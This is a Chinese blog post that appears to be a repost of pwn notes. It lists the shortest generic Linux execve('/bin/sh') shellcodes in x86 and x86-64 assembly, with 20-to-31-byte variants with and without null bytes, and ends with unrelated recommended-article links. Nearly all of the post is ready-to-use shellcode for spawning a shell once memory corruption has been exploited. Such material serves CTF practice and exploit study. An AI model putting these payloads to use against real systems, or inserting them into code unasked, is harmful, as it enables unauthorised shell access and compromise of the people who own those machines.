在寄存器都是非理想值情况下(shellcode可根据环境具体触发时寄存器的值做长度调整),我本着最优通用的原则,整理了Linux下32位和64位最短通用shellcode的编写。


32位

有"\x00"最短 20 byte

xor ecx,ecx
mul ecx
mov al,0xb
push 0x68732f
push 0x6e69622f
mov ebx,esp
int 0x80

无"\x00"最短 21 byte

xor ecx,ecx
mul ecx
push eax
mov al,0xb
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
int 0x80

标准shellcode 23 byte

xor ecx,ecx
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor eax,eax
mov al,0xB
int 0x80

64位

最短有"\x00" 22 byte
xor rsi,rsi
mul esi
mov rbx,0x68732f6e69622f
push rbx
push rsp
pop rdi
mov al, 59
syscall

最短无"\x00" 23 byte

xor rsi,rsi
mul esi
push rax
mov rbx,0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al, 59
syscall

标准shellcode 31 byte

xor    rdi,rdi
xor rsi,rsi
xor rdx,rdx
xor rax,rax
push rax
mov rbx,0x68732f2f6e69622f
push rbx
mov rdi,rsp
mov al,0x3b
syscall

上述内容全部来源于:https://b0ldfrev.gitbook.io/note/pwn/linux_shellcode

我只是知识的搬运工,侵删!

Linux_ShellCode总结的更多相关文章

随机推荐

  1. Dapr-Actor构建块

    前言: 前篇-绑定 文章对Dapr的绑定构建块进行了解,本篇继续对 Actor 构建块进行了解学习. 一.Actor简介: Actors 为最低级别的"计算单元". 换句话说,您将 ...

  2. Spark-StructuredStreaming 下的checkpointLocation分析以及对接 Grafana 监控和提交Kafka Lag 监控

    一.Spark-StructuredStreaming checkpointLocation 介绍 Structured Streaming 在 Spark 2.0 版本于 2016 年引入, 是基于 ...

  3. jvm的垃圾回收

    首先类加载的过程:加载验证准备解析初始化 类加载器: jvm内存模型图: 空着,等以后补上 jvm垃圾收集器 目前只知道,parnew,cms,g1 parnew新生代垃圾回收器,复制算法 cms复制 ...

  4. AT3945 [ARC092D] Two Faced Edges

    要求,翻转一条边,强连通分量个数是否会改变. 考虑连通分量个数会改变的因素: 即\(v\to u\)是否成立,以及翻转前,是否有一条\(u \to v\)的路径不经过该条边 以上当只有一个满足时,连通 ...

  5. AtCoder Beginner Contest 188题解

    A 题意 问\(x,y\)相差是否小于\(3\) #include<iostream> #include<cstdio> #include<cmath> #defi ...

  6. Codeforces 446C - DZY Loves Fibonacci Numbers(斐波那契数列+线段树)

    Codeforces 题目传送门 & 洛谷题目传送门 你可能会疑惑我为什么要写 *2400 的题的题解 首先一个很明显的想法是,看到斐波那契数列和 \(10^9+9\) 就想到通项公式,\(F ...

  7. Matlab混合编程

    Matlab混合编程 混合编程目的 在Matlab中采用混合编程目的主要包括 利用已有的函数库,避免重复工作 加速计算,特别是减少循环所用时间 利用GPU等进行异构编程 混合编程方法-mex函数 目前 ...

  8. brew 切换源

    切换到国内源 # 替换brew.git: $ cd "$(brew --repo)" # 中国科大: $ git remote set-url origin https://mir ...

  9. 点击下拉选择触发事件【c#】

    <asp:DropDownList ID="ddlRegionList" runat="server" AutoPostBack="true&q ...

  10. 学习java 7.1

    学习内容:数组的定义格式:int[ ] arr;  int arr[ ]; 数组的动态初始化:int[ ] arr = new int[ ];静态初始化:int[ ] arr = new int[ ] ...